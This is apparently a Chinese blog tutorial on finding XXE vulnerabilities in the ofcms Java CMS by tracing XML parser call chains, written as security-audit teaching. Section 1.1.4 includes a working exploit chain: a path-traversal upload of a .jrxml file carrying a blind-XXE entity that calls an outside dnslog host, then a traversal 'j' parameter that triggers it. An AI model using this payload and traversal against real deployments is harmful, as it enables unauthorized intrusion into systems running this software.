文章目录
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
- 0. 前言
- 1. XXE代码审计【有1处】
- 1.1. 搜索JRXmlLoader
- 1.1.1. JRAntApiWriteTask
- 1.1.2. JRAntUpdateTask
- 1.1.3. TableReportContextXmlRule
- 1.1.4. JasperCompileManager【存在漏洞】
- 1.2. 搜索XMLReader
- 1.2.1. DTMManagerDefault
- 1.2.2. IncrementalSAXSource\_Xerces
- 1.2.3. IncrementalSAXSource\_Filter
- 1.2.4. XMLReaderManager
- 1.2.5. CoroutineParser
- 1.3. 搜索SAXBuilder
- 1.4. 搜索SAXReader
- 1.5. 搜索SAXParserFactory
- 1.5.1. SynthParser
- 1.5.2. ResolvingParser
- 1.5.3. Process
- 1.5.4. SAXCatalogReader
- 1.5.5. AndroidFontFinder
- 1.5.6. JRPrintXmlLoader
- 1.6. 搜索Digester
- 1.6.1. JRXmlLoader
- 1.6.2. JRPrintXmlLoader
- 1.6.3. JRXmlTemplateLoader
- 1.7. 搜索DocumentBuilderFactory
- 1.7.1. DTMManagerDefault
- 1.7.2. DOMCatalogReader
Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
0. 前言
我发现很多文章包括教程,大概套路是:只说有漏洞的点,将有漏洞的点指出,然后分析代码;或者黑盒测试出漏洞之后,然后分析代码。
我认为这是在分析漏洞代码,而非代码审计。代码审计文章或教程应该是从0开始找到漏洞所在,包括思路!
所以这里不管有没有漏洞,我都会把审计过程写出来,因此篇幅会很长,但我认为这样对你会很有帮助。
知其然亦知所以然。
由于篇幅较长,因此我会分几篇进行,本篇是整个系列的第4篇,讲解1个内容:
- XXE漏洞审计
本系列文章:
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇1 | 环境搭建、路由机制
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇2 | SQL注入漏洞审计
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇3 | 文件上传漏洞审计
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
搭建好环境,确定好项目结构之后,按我思路是应该审计项目所使用框架漏洞的,这里关于框架漏洞就放最后篇章来说了,我们先了解下基础漏洞的审计~
文章中有错误点,或者思路上有什么问题的,欢迎师傅们留言指出~
1. XXE代码审计【有1处】
XXE代码审计常搜索的关键字如下:
XMLReader
SAXBuilder
SAXReader
SAXParserFactory
Digester
DocumentBuilderFactory
...
还有一个特殊的,用于加载.jrxml 文件,这是 JasperReports 特定的 XML 格式,用于定义报告模板。
JRXmlLoader
1.1. 搜索JRXmlLoader

当然这样搜比较慢,而且有很多重复的,这里有个小技巧,可以搜到JRXmlLoader之后,然后Find Usages(Alt+F7),然后找到Usage in import查看哪些类有导入JRXmlLoader。

概涉及的类有:
JRAntApiWriteTask
JRAntUpdateTask
TableReportContextXmlRule
JasperCompileManager
JasperDesignCache
JRDesignViewer
...
挨个查看一下,需要找解析jrxml文件的代码以及对应方法的调用情况:
这里有个小技巧:因为这些类都是导入的jar包内部的,这说明,不是每个类和方法都会被使用到;
与之不同的则是项目自己写的类和方法,一般都会被用到。
因此:我们可以先查找类中方法的调用,确定有没有使用到,没有使用到就不用管了,这样可以节省大量的时间。
1.1.1. JRAntApiWriteTask
进到JRAntApiWriteTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader:

可以看到,代码中使用了JRXmlLoader.load(srcFileName),这里调用了.load()方法,这是JRXmlLoader加载jrxml文件的方式。
其中这段代码是在writeApi()方法中被调用。
接下来的思路是:先查找writeApi()方法的调用情况(原因前面已经说了)

可以看到,同类下的execute()方法对其有调用,但是通过查找execute()的调用,发现并没有被使用。因此,此处就不需要再往下进行了。
1.1.2. JRAntUpdateTask
进到JRAntUpdateTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader,以及方法的调用情况:
和JRAntApiWriteTask类中的情况一样,execute()没有被调用,不用管了。

1.1.3. TableReportContextXmlRule
这个类虽然导入了JRXmlLoader,但是没有调用.load()方法,所以也不用管了

1.1.4. JasperCompileManager【存在漏洞】
这个类中的方法很多,很多方法都用到了JRXmlLoader:

我们应该怎么定位呢?
想一下我们在干嘛?是不是在寻找XXE漏洞,回想XXE原理,其中前提是:代码需要解析xml(jrxml)文件才可能有漏洞,如果是生成xml文件是不是就不用管了。
因此:我们需要定位到解析xml(jrxml)文件的地方。
在JRXmlLoader中解析使用的是load()方法,因此我们可以在当前类中搜索.load(,发现定位到了5个位置:

来详细看一下:





分析一下代码,方法之间进行了互相调用,当然也调用了除了上述方法之外的方法。
下面我用调用图展示一下:



这三个调用链都涉及到了load()方法,因此都有可能存在XXE漏洞。
接下来看每个调用链最上层的方法是怎么调用的(也就是找参数sourceFileName从哪来的),三个方法分别如下:(通过Find Usages/Alt+F7查询)
-
compileReportToFile()方法,没有被调用,即该方法没有触发,不用管了~ -
第1个
compile(String sourceFileName)方法,被当前类的compileReport(String sourceFileName)方法调用
-
第2个compile(InputStream inputStream)方法,被当前类的
compileReport(InputStream inputStream)方法调用
-
compileReportToStream()方法,没有被调用,即该方法没有触发,不用管了~
目前,只需要关注其中两个就好:
- 1)
ompileReport(String sourceFileName) - 2)
compileReport(InputStream inputStream)
继续查看其调用关系:其中compileReport(InputStream inputStream)存在调用,ompileReport(String sourceFileName)没有被调用。

定位到compileReport(InputStream inputStream)的调用位置,查看源码:

ReprotAction类的expReport()方法将其调用。
并且ReprotAction类上存在一个@Action(path = "/reprot")注解,也就是说这里可以被前端请求触发执行。
触发该expReport()方法的接口为:/admin/reprot/expReport.json
那么接下来做两件事:
- 1)确定传参,有无过滤
- 2)触发接口,进行漏洞测试
从下面这段代码可以看出:compileReport(new FileInputStream(file))的file是从"/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"获取的.jrxml文件,而具体什么文件,由前端传递的“j”参数决定。
简单来说就是:在/WEB-INF/jrxml/目录下寻找“j”参数指定的.jrxml文件进行jrxml文件的解析。

并从调用链看出:整个过程没有对文件进行过滤,包括也没有禁止解析外部实体(默认可以解析外部实体)。
调用链如下:
expReport()->compileReport()->compile()->JRXmlLoader.load()


所以这里是存在XXE漏洞的。
那这样的话,我们只需要保证:前端触发/admin/reprot/expReport.json接口时,传递“j”参数指定的.jrxml文件中存在恶意外部实体,就可以实现漏洞利用。
这里还有一个问题:“j”参数指定的.jrxml文件是在/WEB-INF/jrxml/目录下,这里我们是不可控的,因此怎么让ta能够加载一个存在恶意外部实体的.jrxml文件呢?
这里只能结合前面的文件上传漏洞,写入恶意.jrxml,来实现XXE漏洞的利用(如果这里不存在文件上传漏洞,这里无法利用)。
接下来,尝试利用一下:(这里没有回显,使用盲XXE方式)
1)通过文件上传漏洞,上传一个带有恶意外部实体的.jrxml文件。
file_name=../../../static/exp.jrxml
file_content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+%25+exp+SYSTEM+%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E
file_content解码如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % exp SYSTEM "http://xzlxvdibrb.iyhc.eu.org">%exp;]>


2)触发/admin/reprot/expReport.json接口
根据功能和接口可以定位到功能为止:用户管理-导出全部

点击“导出全部”,抓包,修改参数:
j=../../static/exp
可以看到,请求dnslog成功

1.2. 搜索XMLReader

注释忽略不看,剩余的大概涉及的类有
DTMManagerDefault
IncrementalSAXSource_Xerces
IncrementalSAXSource_Filter
XMLReaderManager
下面是接口
CoroutineParser
每个都大概看一下:(找方法的调用情况,及解析xml文件的相关方法,比如parse()等)
XMLReader的使用链为:
XMLReader.parse()
1.2.1. DTMManagerDefault
这个调用链非常的长,一般超过3个我都不会去审计了,因为ta有可能是组件内部使用的,有兴趣的师傅可以自行追一下方法调用链,说不定有组件0day哦~
1.2.2. IncrementalSAXSource_Xerces
该类中不存在解析xml文件的代码,故忽略

1.2.3. IncrementalSAXSource_Filter
此类中存在解析xml文件的代码

接下来,追踪其方法调用及参数传递
run()方法的调用很多:

但是存在一个问题,parse()方法所需的参数,并不是run()方法传递进来的。
因此接下来从参数传递进行分析,看是否可控

可以看到,该参数是startParse(InputSource source)方法传入,接下来追踪下该方法

有两个类中调用了该方法,一个DTMManagerDefault,一个IncrementalSAXSource_Xerces
1.2.4. XMLReaderManager
疲倦了,师傅们自己追追吧~
1.2.5. CoroutineParser
疲倦了,师傅们自己追追吧~
1.3. 搜索SAXBuilder

不存在SAXBuilder。
1.4. 搜索SAXReader
搜索SAXReader之后,进入类之后,发现所搜到的都是变量名

并不是SAXReader对象,而是SAXCatalogReader类对象,没有解析xml文件的代码,所以不需要再看了。
📌
SAXCatalogReader是一个与 XML 解析相关的概念,主要用于处理 XML 文档中的外部实体引用。它通常与 XML 解析器一起使用,以解决 DTD(Document Type Definition)或 XML 实体的重定向问题。通过配置SAXCatalogReader,可以在解析 XML 文档时指定特定的目录文件,从而控制对外部资源的访问。

1.5. 搜索SAXParserFactory
SAXParserFactory的使用链为:
SAXParserFactory.newInstance().newSAXParser().parse()
所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。
这里交给大家一个小技巧,使用正则表达式,搜索包含SAXParserFactory且包含.parse(的java类:
(SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory)
通过搜索,可以定位到比较精确的java类:

设计到的类有:
SynthParser
ResolvingParser
Process
SAXCatalogReader
AndroidFontFinder
JRPrintXmlLoader
1.5.1. SynthParser

追踪一下parse()的调用,发现存在

继续追踪load(),发现只在注释中出现,没有其他调用了,那就不用管了。

1.5.2. ResolvingParser
这个类搜索到的parse并不是用来解析xml文件的,所以忽略

1.5.3. Process
该类中存在解析xml文件的代码:

该段代码存在的方法为_main(),但并未有调用,因此忽略

1.5.4. SAXCatalogReader
该类中存在解析xml文件的代码:

追踪下readCatalog()方法的调用,这个时候,会发现,方法的调用链很长。此时也要结合参数的来源一同分析。
📌tips:方法的调用链很长,没完没了,其实这里差不多可以放弃了,如果是项目代码中真正用到了,代用链不会过长(当然也不一定,只是经验之谈)。
当然,你可以继续查看调用链,说不定会存在组件0day。
这里其实也可以结合参数来一起分析,参数可能在方法调用链的某个中间位置就确定了,那就不需要分析这么长的调用链了。
通过分析方法调用和参数传递,主要分为两种情况:
readCatalog()方法的调用一部分来自其他类中readCatalog()方法,而这些方法并没有再被调用,所以没有被使用,因此这部分忽略,见下图红框处:

剩下的就是parseCatalog()方法了:

其中parseCatalog(URL aUrl)无调用:

其中parseCatalogFile(String fileName)调用链比较长,但是参数在该方法中就确定了:

不是可控的,不用管了。
最后的parseCatalog(String mimeType, InputStream is):

还得继续追踪其调用:

追踪到queryResolver()方法,其参数也是不可控的,忽略。

SAXCatalogReader的分析到此为止。
1.5.5. AndroidFontFinder
该类中存在解析xml文件的代码:

其中参数来源为parseSystemDefaultFonts()方法,追踪该方法的调用:

存在两个,但是parseSystemDefaultFonts()方法所需参数并不是从这两个方法传入的,因此在这两个方法内部就确定了parseSystemDefaultFonts()方法所需参数,即最终parse()方法的参数。
那么分析一下:

这里可以看出,这个参数是固定不可控的,因此忽略,另一个方法内部也是如此,因此也忽略。
1.5.6. JRPrintXmlLoader
该类中存在解析xml文件的代码:

其方法为loadXML(InputStream is),追踪方法调用,

但是追踪其方法调用,发现最上层方法并没有被调用,截图略,其中调用链为:
load(String sourceFileName)
loadFromFile(String sourceFileName)
loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)
loadXML(InputStream is)
digester.parse(is)
还有一个调用链为:
RViewer(String fileName, boolean isXML, Locale locale)
JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
JRViewer(
JasperReportsContext jasperReportsContext,
String fileName,
boolean isXML,
Locale locale,
ResourceBundle resBundle
)
loadReport(String fileName, boolean isXmlReport)
loadXML(InputStream is)
digester.parse(is)
不管哪个调用链,其最上层方法都没有被调用,因此忽略。
1.6. 搜索Digester
Digester的使用链为:
Digester.parse()
所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。
使用正则表达式,搜索包含Digester且包含.parse(的java类:
(Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester)
通过搜索,可以定位到比较精确的java类:

涉及的类有:
JRXmlLoader
JRPrintXmlLoader
JRXmlTemplateLoader
1.6.1. JRXmlLoader
该类中的loadXML()方法没有被调用,忽略

1.6.2. JRPrintXmlLoader
该类中的loadXML()方法没有被调用,忽略

1.6.3. JRXmlTemplateLoader
该类中的loadTemplate()方法没有被调用,忽略

1.7. 搜索DocumentBuilderFactory
DocumentBuilderFactory的使用链为:
DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))
所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。
使用正则表达式,搜索包含DocumentBuilderFactory且包含.parse(的java类:
(DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory)
通过搜索,可以定位到比较精确的java类:

涉及到的类有:
DTMManagerDefault
DOMCatalogReader
XMLParserImpl
Process
TransformerImpl
XPathExpressionImpl
Metacity
JRXmlDocumentProducer
JRXmlUtils
JRStyledTextParser
SimpleFontExtensionHelper
MapFillComponent
FillPlaceItem
XmlSupport
接下来思路一下,查看每个类中相关代码
- parse是不在解析xml文件
- 其相关方法的调用关系
- 解析的xml文件参数是否可控
- 有无过滤、禁止解析外部DTD
1.7.1. DTMManagerDefault
之前遇到过,忽略。
1.7.2. DOMCatalogReader
该类中存在解析xml文件的代码:

其方法为readCatalog(Catalog catalog, InputStream is),追踪方法调用。
📌剩下的不想追了,累了~ 有兴趣的师傅可以自己每个都追下,这样就不会漏了,祝各位师傅天天出0day。
有好的技巧、好的思路的师傅也可以共享下思路,互相学习~~么么哒


















